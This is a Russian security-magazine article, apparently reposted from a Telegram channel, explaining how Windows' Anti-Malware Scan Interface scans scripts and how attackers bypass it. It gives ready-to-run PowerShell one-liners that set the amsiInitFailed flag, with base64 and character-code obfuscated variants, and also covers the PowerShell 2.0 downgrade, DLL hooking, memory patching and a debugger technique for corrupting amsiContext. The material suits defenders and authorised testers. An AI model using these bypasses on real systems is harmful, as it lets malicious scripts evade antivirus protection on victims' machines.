Хакер - F#ck AMSI! Как обходят Anti-Malware Scan Interface при заражении Windows

Хакер - F#ck AMSI! Как обходят Anti-Malware Scan Interface при заражении Windows

hacker_frei

https://t.me/hacker_frei

be_a_saint

Содержание статьи

  • Как это работает
  • Как обойти проверку
  • PowerShell downgrade
  • amsiInitFailed
  • Хукинг
  • Патчинг памяти
  • Вызов ошибки
  • Выводы

Ес­ли тебе зна­кома фра­за «Этот сце­нарий содер­жит вре­донос­ное содер­жимое и был заб­локиро­ван анти­вирус­ным прог­рам­мным обес­печени­ем», то сегод­няшняя статья — для тебя. Такое сооб­щение генери­рует встро­енный в Windows 10 механизм AMSI, бло­киру­ющий выпол­нение вре­донос­ных сце­нари­ев и скрип­тов. Мож­но ли его обой­ти? Зап­росто, и сей­час я рас­ска­жу, как это сде­лать.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Аб­бре­виату­ра AMSI рас­шифро­выва­ется как Anti-Malware Scan Interface. Эту тех­нологию Microsoft раз­работа­ла в качес­тве метода защиты поль­зовате­лей от вре­донос­ных прог­рамм и впер­вые внед­рила в Windows 10. AMSI в реаль­ном вре­мени перех­ватыва­ет скрип­ты и коман­ды PowerShell, JavaScript, VBScript, VBA или .NET и отсы­лает на про­вер­ку анти­вирус­ному прог­рам­мно­му обес­печению (это необя­затель­но Defender, более десяти вен­доров под­держи­вают AMSI). Но в наших при­мерах мы рас­смот­рим все же Defender.

КАК ЭТО РАБОТАЕТ

Ког­да поль­зователь запус­кает скрипт или ини­циали­зиру­ет про­цесс PowerShell (либо PowerShell_ISE), в про­цесс авто­мати­чес­ки заг­ружа­ется биб­лиоте­ка AMSI.DLL. Она‑то и пре­дос­тавля­ет необ­ходимый API для вза­имо­дей­ствия с анти­вирус­ным ПО. Преж­де чем выпол­нить­ся, скрипт или коман­да при помощи уда­лен­ного вызова про­цедур (RPC) отправ­ляет­ся Microsoft Defender, он, в свою оче­редь, ана­лизи­рует получен­ную информа­цию и отсы­лает ответ обратно AMSI.DLL. Если обна­руже­на извес­тная сиг­натура, выпол­нение пре­рыва­ется и появ­ляет­ся сооб­щение о том, что скрипт заб­локиро­ван анти­вирус­ной прог­раммой.

При­мер­но так работа­ет AMSI

На при­веден­ной выше схе­ме обоз­начены две фун­кции — AmsiScanString() и AmsiScanBuffer(), они, по сути, глав­ные в цепоч­ке AmsiInitializeAmsiOpenSessionAmsiScanStringAmsiScanBuffer и AmsiCloseSession. Если гля­нуть Exports для amsi.dll, то мы уви­дим сле­дующее.

Эк­спор­ты биб­лиоте­ки amsi.dll

Од­нако зна­читель­ная часть это­го спис­ка нам сегод­ня не при­годит­ся.

Итак, мы запус­тили PowerShell. До того как мы смо­жем вво­дить какие‑либо коман­ды, будет заг­ружена AMSI.DLL и про­изой­дет вызов AmsiInitialize().

HRESULT AmsiInitialize(

LPCWSTR appName,

HAMSICONTEXT *amsiContext

);

Тут исполь­зуют­ся два аргу­мен­та: имя при­ложе­ния и ука­затель на струк­туру CONTEXT. Параметр amsiContext будет исполь­зовать­ся в каж­дом пос­леду­ющем вызове AMSI API.

Пос­ле того как мы вве­ли коман­ду или попыта­лись выпол­нить скрипт, про­исхо­дит вызов AmsiOpenSession():

HRESULT AmsiOpenSession(

HAMSICONTEXT amsiContext,

HAMSISESSION *amsiSession

);

Тут тоже переда­ются два аргу­мен­та: amsiContext, получен­ный на шаге AmsiInitialize(), и ука­затель на струк­туру SESSION. Параметр amsiSession будет исполь­зовать­ся в каж­дом пос­леду­ющем вызове AMSI API внут­ри этой сес­сии.

Да­лее в дело всту­пают те самые AmsiScanString() и AmsiScanBuffer(). По наз­ванию, в прин­ципе, понят­но, какие парамет­ры они переда­ют для про­вер­ки, да и син­таксис у них поч­ти оди­наков.

HRESULT AmsiScanBuffer(

HAMSICONTEXT amsiContext,

PVOID buffer,

ULONG length,

LPCWSTR contentName,

HAMSISESSION amsiSession,

AMSI_RESULT *result

);

HRESULT AmsiScanString(

HAMSICONTEXT amsiContext,

LPCWSTR string,

LPCWSTR contentName,

HAMSISESSION amsiSession,

AMSI_RESULT *result

);

Defender про­веря­ет буфер или стро­ку и воз­вра­щает резуль­тат. Если ответ от Defender — 32768, то мал­варь обна­руже­на, еди­нич­ка сиг­нализи­рует, что все чис­то.

Мал­варь обна­руже­на
Мал­варь не обна­руже­на

Ну и пос­ле всех перечис­ленных выше про­верок текущая сес­сия зак­рыва­ется с исполь­зовани­ем AmsiCloseSession.

КАК ОБОЙТИ ПРОВЕРКУ

Ме­ханизм AMSI исполь­зует сиг­натур­ное (rule-based) детек­тирова­ние угроз. Зная этот факт, мож­но при­думы­вать раз­ные так­тики и тех­ники. Некото­рые извес­тные спо­собы уже не сра­бота­ют, но, исполь­зуя модифи­кацию кода, обфуска­цию и крип­тование, мож­но добить­ся инте­рес­ных резуль­татов.

INFO

Для верифи­кации детек­та я буду исполь­зовать стро­ки AmsiUtils либо Invoke-Mimikatz. Разуме­ется, сами по себе эти сло­ва безобид­ны, но на них сра­баты­вает детект, так как они ловят­ся сиг­натура­ми. Если уж на AmsiUtils нет детек­та, то мож­но сме­ло гру­зить, нап­ример, PowerView и исполь­зовать его воз­можнос­ти по мак­симуму.

Итак, поеха­ли.

PowerShell downgrade

Пер­вый спо­соб, который иног­да сра­баты­вает, три­виален. PowerShell 2.0 уста­рел, но Microsoft не спе­шит уда­лять его из опе­раци­онной сис­темы. У ста­рой вер­сии PowerShell нет таких защит­ных механиз­мов, как AMSI, поэто­му для обхо­да детек­та иног­да дос­таточ­но исполь­зовать коман­ду powershell -version 2.

Ис­поль­зуем PowerShell 2.0

amsiInitFailed

Вто­рой спо­соб пре­дот­вра­тить ска­ниро­вание — это попытать­ся выс­тавить флаг amsiInitFailed для дан­ного про­цес­са. Дела­ется это сле­дующей коман­дой:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Од­нако тут не все так прос­то: что­бы выпол­нить эту коман­ду, при­дет­ся пот­рудить­ся, при­думы­вая спо­собы обфуска­ции, так как на нее тоже сра­баты­вает детект.

Увы, на нашу коман­ду сра­ботал детект

Нап­ример, обфусци­ровать эту коман­ду мож­но так:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'

$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))

$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')

$field.SetValue($null,$true)

При­мер обфусци­рован­ной коман­ды для amsiInitFailed

Во вре­мя обфуска­ции мож­но про­явить фан­тазию. Нап­ример, так:

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Или даже так:

$kurefii="$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem'+'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7)+[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE]0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)).$([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108)+[chAr]([BYte]0x73))";[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]" -as [String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe]0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld').NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93/93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70)+[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))).Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char](105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR](116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null,$True);

В нелег­ком деле запуты­вания кода тебе навер­няка будет полезен ресурс amsi.fail.

Хукинг

Function hooking — метод, поз­воля­ющий нам получить управле­ние над фун­кци­ей до ее вызова. В дан­ном слу­чае полез­но будет переза­писать аргу­мен­ты, которые фун­кция AmsiScanBuffer() (или AmsiScanString()) будет переда­вать на про­вер­ку.

Тут все прос­то: инжектим DLL, которая пой­мает AmsiScanBuffer() и передаст на про­вер­ку что‑нибудь безобид­ное. Исполь­зовать мож­но, нап­ример, AmsiHook.dll, инжектор мож­но взять там же.

Ре­зуль­тат инжекта AmsiHook.dll

Патчинг памяти

Ис­поль­зующих дан­ный метод инс­тру­мен­тов мно­го, мож­но выб­рать любой рабочий. Прин­цип оди­наков: про­пат­чить AmsiScanBuffer(), что­бы всег­да воз­вра­щалось зна­чение «Про­вер­ка прой­дена успешно». Вот нес­коль­ко таких средств:

Для при­мера поп­робу­ем выпол­нить Memory Patching с помощью my-am-bypass.ps1.

Ис­поль­зуем my-am-bypass.ps1

Вызов ошибки

Вспо­миная опи­сание прин­ципа работы AMSI, мож­но заметить, что во всех фун­кци­ях при­сутс­тву­ет струк­тура amsiContext. Идея спо­соба — выз­вать ошиб­ку в этой струк­туре и сло­мать весь цикл про­вер­ки. Слож­ности добав­ляет тот факт, что Microsoft никак не докумен­тиру­ет эту струк­туру, да и в целом мало и неохот­но пишет докумен­тацию для AMSI.

Рас­смот­рим этот спо­соб, исполь­зуя Frida (что­бы най­ти адрес) и дебаг­гер (что­бы пос­мотреть, что там про­исхо­дит).

Ис­сле­дуем amsiContext

Вве­дем что‑нибудь и пос­мотрим на вывод «Фри­ды».

Вы­вод «Фри­ды»

Те­перь откро­ем про­цесс PowerShell в дебаг­гере и пос­мотрим, что же находит­ся по это­му адре­су. Раз­мера этой струк­туры мы не зна­ем, но пер­вые четыре бай­та — это AMSI.

Прос­матри­ваем про­цесс PowerShell в отладчи­ке

Ис­сле­дуя про­исхо­дящее даль­ше, замеча­ем, что регистр rcx (в котором дол­жен лежать пер­вый аргу­мент фун­кции) срав­нива­ется с нашими четырь­мя бай­тами и, если эти зна­чения не рав­ны, выпол­няет­ся переход на amsi!AmsiOpenSession+0x4c.

Мы видим, что фун­кция вер­нет нам то, что лежит в регис­тре eax. А в докумен­тации ука­зано, что воз­вра­щает­ся зна­чение с типом HRESULT.

HRESULT AmsiOpenSession(

HAMSICONTEXT amsiContext,

HAMSISESSION *amsiSession

);

На сай­те Microsoft мы находим нуж­ную информа­цию:

| E_INVALIDARG | One or more arguments are not valid | 0x80070057 |

Ес­ли пер­вые четыре бай­та струк­туры кон­тек­ста не сов­падут с AMSI, AmsiOpenSession вер­нет ошиб­ку. Глав­ный воп­рос — к чему при­ведет эта ошиб­ка и что слу­чит­ся, если бай­ты все‑таки не сов­падут.

Единс­твен­ный спо­соб про­верить это — выз­вать ошиб­ку и пос­мотреть, что будет. Для это­го пос­тавим точ­ку оста­нова (breakpoint) на AmsiOpenSession, а затем поменя­ем четыре бай­та на зна­чение 0000. Убе­дим­ся, что в регис­тре rcx находит­ся зна­чение 49534d41 (dc rcx L1), изме­ним его на 0 (ed rcx 0), про­верим, что выпол­нение прош­ло успешно и в регис­тре rcx сей­час 00000000 (еще раз dc rcx L1).

Пат­чим AmsiOpenSession

Те­перь, если заг­лянуть в frida-trace, мы уви­дим завет­ное AmsiScanBuffer() Exit. При­вела ли эта ошиб­ка к наруше­нию цик­ла про­вер­ки AMSI? Про­верим эту теорию, выпол­нив что‑то «злов­редное».

Ус­пех!

Дан­ный метод с исполь­зовани­ем дебаг­гера был рас­смот­рен в качес­тве теории, в живом кей­се, разуме­ется, дебаг­гером ник­то не поль­зует­ся, а реали­зует­ся дан­ный метод в нес­коль­ко стро­чек в том же PowerShell.

ВЫВОДЫ

Как вид­но из при­меров, обой­ти защиту от AMSI не так уж и слож­но. Зна­ние извес­тных методик может облегчить фазу пос­тэкс­плу­ата­ции (или даже фазу экс­плу­ата­ции).

AMSI может сыг­рать важ­ную роль в защите сис­тем Windows 10 и Windows Server от ком­про­мета­ции. Но AMSI не панацея. И хотя Microsoft Windows Defender обес­печива­ет некото­рую защиту от обхо­да AMSI, зло­умыш­ленни­ки пос­тоян­но находят спо­собы скрыть вре­донос­ный кон­тент от обна­руже­ния.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page